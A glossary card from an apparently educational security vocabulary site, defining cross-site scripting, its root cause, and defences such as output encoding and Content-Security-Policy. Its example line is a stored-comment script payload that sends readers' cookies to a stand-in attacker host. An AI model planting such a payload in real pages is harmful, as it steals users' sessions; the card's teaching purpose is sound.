The vocabulary of the job, one term at a time — what it means, and when you would say it.
Security · intermediate
An attack where user-supplied text ends up executing as script in someone else's browser.
Meaning
An attack where user-supplied text ends up executing as script in someone else's browser.
The root cause is always the same: data crossed into markup without the escaping the destination required. Once an attacker's script runs on your origin, it can read what the page can read — tokens, form input, session state. Defence is contextual output encoding by default (what modern template engines and React do), plus a Content-Security-Policy as the backstop, not a list of banned characters on input.
A comment saved as <script>fetch('//evil.example/'+document.cookie)</script> and rendered unescaped runs in the browser of every reader of the thread.
No published skills are linked yet.
Work through the glossary one card at a time, in a different order every run.
Open the discover feed